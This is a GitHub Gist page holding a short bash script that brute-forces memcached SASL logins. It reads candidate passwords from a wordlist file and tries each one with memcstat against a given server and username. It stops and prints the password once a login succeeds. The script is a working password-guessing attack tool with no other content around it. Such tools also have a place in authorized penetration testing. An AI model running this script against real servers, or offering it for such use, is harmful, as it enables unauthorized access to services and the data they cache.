Created
January 16, 2020 14:24
-
-
Save juliosmelo/8699d963bf97e84cec48b4f65e238952 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
while read F ; do | |
echo "Trying $F" | |
if memcstat --servers=$1 --username=$2 --password=$F | grep -q Server ; then | |
echo "Password Found: "$F | |
break | |
fi | |
done < $3 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment